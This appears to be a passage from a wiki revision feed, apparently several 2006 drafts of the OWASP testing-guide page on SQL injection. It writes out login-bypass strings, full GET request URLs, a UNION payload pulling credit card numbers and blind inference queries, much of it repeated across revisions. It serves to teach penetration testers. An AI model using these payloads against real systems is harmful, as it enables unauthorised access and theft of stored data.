A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1 &lt;br /&gt;
 $password = 1' or '1' = '1 &lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1' &lt;br /&gt;
&lt;br /&gt;
Supposing that the values of the parameters are sent to the server through the GET method, and supposing that the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a series of values) because the  condition is always true. In this way the system has authenticated the user without knowing the username and password.&lt;br /&gt;
We consider another query, similar to the previous one, but more similar to the query really used in the web applications for the user authentication: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation will be difficult (in the database there is only one value). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one &lt;br /&gt;
In order to make this, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
Producing a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Attack ===&lt;br /&gt;
Another test to carry out, regards the use of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.&lt;br /&gt;
&lt;br /&gt;
== Blind Sql Injection ==&lt;br /&gt;
We have pointed out that exists another category of sql injection, called Blind Sql Injection, in which nothing is known on the outcome of an operation. This behaviors happens in those cases in which the programmers has created a customed error page that does not reveal nothing on the structure of the query or on the database.&lt;br /&gt;
Thanks to the inference methods it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. The method consists in carrying out a series of booloean queries to the server, observing the answers and finally deducing the meaning of such answers.&lt;br /&gt;
We consider, as always, the www.example.com domain and we suppose that it contains a parameter vulnerable to sql injection of name id.&lt;br /&gt;
This means that carrying out the following request: &lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=1' &lt;br /&gt;
&lt;br /&gt;
we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='$Id' &lt;br /&gt;
&lt;br /&gt;
which is exploitable through the methods seen previously. &lt;br /&gt;
What we want is to obtain the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples we will use the following pseudo-functions: &lt;br /&gt;
&lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a substring starting from the position &amp;quot;start&amp;quot; of text and of length &amp;quot;length&amp;quot;. If &amp;quot;start&amp;quot; is greater than the length of text, the function returns a null value. &lt;br /&gt;
&lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input text.&lt;br /&gt;
&lt;br /&gt;
Through such functions we will execute our tests on the first character and, when we will have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. &lt;br /&gt;
The tests will take advantage of the function SUBSTRING in order to select only one character at time (selecting a single character means to impose the length parameter to 1) and function ASCII in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of ASCII table, until finding the desired value.&lt;br /&gt;
As an example we will insert the following value for ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&lt;br /&gt;
that creates the following query (from now on we will call it &amp;quot;inferential query&amp;quot;): &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&lt;br /&gt;
The previous returns a result if and only if the first character of field username is equal to the ASCII value 97. If we get a false value then we increase the index of ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the table and we pass to analyze the next character, modifying the parameters of SUBSTRING function.&lt;br /&gt;
The problem is to understand in that way we distinguish the test that has carried a true value, from the one that has carried a false value.&lt;br /&gt;
In order to make this we create a query that we are sure returns a false value. &lt;br /&gt;
This is possible by the following value as field ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND '1' = '2 &lt;br /&gt;
&lt;br /&gt;
by which will create the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND '1' = '2' &lt;br /&gt;
&lt;br /&gt;
The answer of the server obtained (that is HTML code) will be the false value for our tests. &lt;br /&gt;
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test exposed before. &lt;br /&gt;
Sometimes this method does not work. In the case the server returns two defferent pages as a result of two identical consecutive web requests we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two template in order to decide the result of the test.&lt;br /&gt;
In the previous tests, we are supposed to know in what way it is possible to understand when we have ended the inference beacause we have obtained the value. &lt;br /&gt;
In order to succeed to understand when we have ended, we will use one characteristic of the SUBSTRING function and the CHAR_LENGTH function.&lt;br /&gt;
When our test will return a true value and we would have used an ASCII code equals to 0 (that is the value null), then that mean that we have ended to make inference, or that the value we have analyzed effectively contains the value null.&lt;br /&gt;
In order to obviate to this problem it is enough to make inference on the parameter length. &lt;br /&gt;
We will insert the following value for the field ''id'': &lt;br /&gt;
&lt;br /&gt;
 $Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed with now (excluded the null value). &lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT field1, field2, field3 FROM Users WHERE id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&lt;br /&gt;
that gives back a true or false value. If we have a true value, then we have ended to make inference and therefore we have gained the value of the parameter. If we obtain a false value, this means that the null character is present on the value of the parameter, then we must continue to analyze the next parameter until we will find another null value.&lt;br /&gt;
&lt;br /&gt;
The blind sql injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
A simple tool which performs this task, via GET requests on MySql DB is SqlDumper, is shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:sqldumper.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf http://www.nextgenss.com/papers/advanced_sql_injection.pdf http://www.nextgenss.com/papers/HackproofingMySQL.pdf http://www.nextgenss.com/research/papers/sqlinference.pdf http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12046</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12046"/>
				<updated>2006-11-08T19:03:45Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: /* Union Query Sql Injection Attack */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists to insert or &amp;quot;inject&amp;quot; an SQL query through the input data from the client to the application. A successful sql injection could read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. We can find an sql injection vulnerability generally through the presence of particular error messages, products as a result of the tests carry out from the tester. However in some cases the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1 &lt;br /&gt;
 $password = 1' or '1' = '1 &lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1' &lt;br /&gt;
&lt;br /&gt;
Supposing that the values of the parameters are sent to the server through the GET method, and supposing that the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a series of values) because the  condition is always true. In this way the system has authenticated the user without knowing the username and password.&lt;br /&gt;
We consider another query, similar to the previous one, but more similar to the query really used in the web applications for the user authentication: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation will be difficult (in the database there is only one value). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one &lt;br /&gt;
In order to make this, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
Producing a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Attack ===&lt;br /&gt;
Another test to carry out, regards the use of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We will have the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query with all the credit card users. &lt;br /&gt;
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.&lt;br /&gt;
&lt;br /&gt;
== Blind Sql Injection ==&lt;br /&gt;
TO-DO&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
To-DO&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12045</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=12045"/>
				<updated>2006-11-08T19:02:32Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: /* Standard Sql Injection Attack */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
An SQL injection attack consists to insert or &amp;quot;inject&amp;quot; an SQL query through the input data from the client to the application. A successful sql injection could read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of SQL Injection exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. We can find an sql injection vulnerability generally through the presence of particular error messages, products as a result of the tests carry out from the tester. However in some cases the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
Consider the following sql query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access is denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the following Username and Password values: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1 &lt;br /&gt;
 $password = 1' or '1' = '1 &lt;br /&gt;
&lt;br /&gt;
The query will be: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1' &lt;br /&gt;
&lt;br /&gt;
Supposing that the values of the parameters are sent to the server through the GET method, and supposing that the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or a series of values) because the  condition is always true. In this way the system has authenticated the user without knowing the username and password.&lt;br /&gt;
We consider another query, similar to the previous one, but more similar to the query really used in the web applications for the user authentication: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That simply consist of adding a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to our query a final symbol that means that a comment is beginning. In this way everything that follows such symbol is considered as a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1'))/*&lt;br /&gt;
 $password = foo&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation will be difficult (in the database there is only one value). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one &lt;br /&gt;
In order to make this, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:&lt;br /&gt;
&lt;br /&gt;
 $username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
 $password = foo &lt;br /&gt;
&lt;br /&gt;
Producing a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Attack ===&lt;br /&gt;
Another test to carry out, regards uses of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
 $id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
We got the following query: &lt;br /&gt;
&lt;br /&gt;
 SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable &lt;br /&gt;
&lt;br /&gt;
which will join the result of the original query whit all the users credi card. &lt;br /&gt;
The keyword ALL is necessary to go around the query that make use of keyword DISTINCT &lt;br /&gt;
Moreover we notice that beyond the credit card numbers, we have selected other two values without meant. This is necessary, because the two query must have an equal number of parameters, pain the raising of a Syntax Error.&lt;br /&gt;
&lt;br /&gt;
== Blind Sql Injection ==&lt;br /&gt;
TO-DO&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
To-DO&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=11114</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=11114"/>
				<updated>2006-10-26T16:59:02Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary == &lt;br /&gt;
The attack of type SQL injection allows to insert or &amp;quot;inject&amp;quot; a sql query through the input data. Through the sql injection is possible to read sensitive data from the database, to modify the values, to execute administration operations on the database (such shutdown the DBMS) or to recover the content of a given file present on the DBMS filesystem.&lt;br /&gt;
&lt;br /&gt;
==  Description of the Issue ==&lt;br /&gt;
Three classes of attack exist: inband, out-of-band and inferential type. The type inband uses the same channel of the attack in order to receive the information, the channel out-of-band uses an external channel regarding that one used for the attack to receive the information (for example taking advantage of other protocols of communication, like as smtp protocol), at last the inferential uses inferential methods for being able to gain the wished value. A sql injection vulnerability it comes generally found through the presence of particular error messages, products as a result of the tests carry out from the tester. Exist however cases in which the application is written in such way that return one customized error page. In this case we'll speak about Blind Sql Injection. Extending such meant, we can suppose be found in presence of a sql injection vulnerability of type blind in those cases in which, we are not in degree, through the analysis of the page, to got some useful information.&lt;br /&gt;
&lt;br /&gt;
==  Black Box testing and example == &lt;br /&gt;
&lt;br /&gt;
=== Standard Sql Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
We consider following sql query:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM Users WHERE Username='$username' AND Password='$password' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A query enough similar is generally used from the web applications in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login the system, otherwise the access id denied.&lt;br /&gt;
The values of the input fields are inserted from the user generally through a web form. &lt;br /&gt;
We suppose to insert the followed Username and Password values: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$username = 1' or '1' = '1 &lt;br /&gt;
$password = 1' or '1' = '1 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The query turning out will be: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM Users WHERE Username= '' OR '1' = '1' AND Password= '' OR '1' = '1' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposing that the values of the parameters are sent to the server through GET method, and supposing that the situated domain of the vulnerable web site is www.example.com, the request that we'll go to carry out will be:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query return a value (or one series of values) because the  condition is always true. In this way the system has authenticated the user without know the username and password.&lt;br /&gt;
We consider another query, similar to the previous query, but more similar to the query really used in the web applications for the user authentication: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. &lt;br /&gt;
First of all we resolve the problem of the parenthesis. &lt;br /&gt;
That comes simply made is to add a number of closing parenthesis until when we'll obtain a corrected query. To resolve the second problem we try to invalidate the second condition.&lt;br /&gt;
We add to ours query a final symbol that means that a comment is beginning. In this way all that follows such symbol comes considered a comment.&lt;br /&gt;
Every DBMS has the own symbols of comment, however a common symbol to the greater part of the database is /*.&lt;br /&gt;
Saying this, the values that we'll use as Username and Password are: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$username = 1' or '1' = '1'))/*&lt;br /&gt;
$password = foo&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In this way we'll get the following query: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5 ('$password'))) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The url request will be:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Which return a number of values. Sometimes, the authentication code verify that the number of returned tuple is exactly equal to 1. In the previous examples, this situation difficultly will be (less than in the database there is only one value). &lt;br /&gt;
In order to go around to this problem, it is enough to insert a sql command, that it imposes that the number of the returned tuple must be one &lt;br /&gt;
In order to make this, we use the command &amp;quot;LIMIT &amp;lt;num&amp;gt;&amp;quot;, where &amp;lt;num&amp;gt; is the number of the tuple that have to be returned. The values of the fields of Username and Password regarding the previous example will be modified according the following way:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
$password = foo &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Producing a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;password=foo &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Union Query Sql Injection Attack ===&lt;br /&gt;
Another test to carry out, regards uses of the UNION operation. Through such operation is possible, in case of Sql Injection vulnerability, to join a query, purposely forged from the tester, to the original query. The result of the forget query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.&lt;br /&gt;
We suppose for our examples that the query executed from the server is the following: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=$id &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We will set the following Id value: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
$id=1 UNION ALL SELECT crediNumber,1,1 FROM CreditCarTable&lt;br /&gt;
&lt;br /&gt;
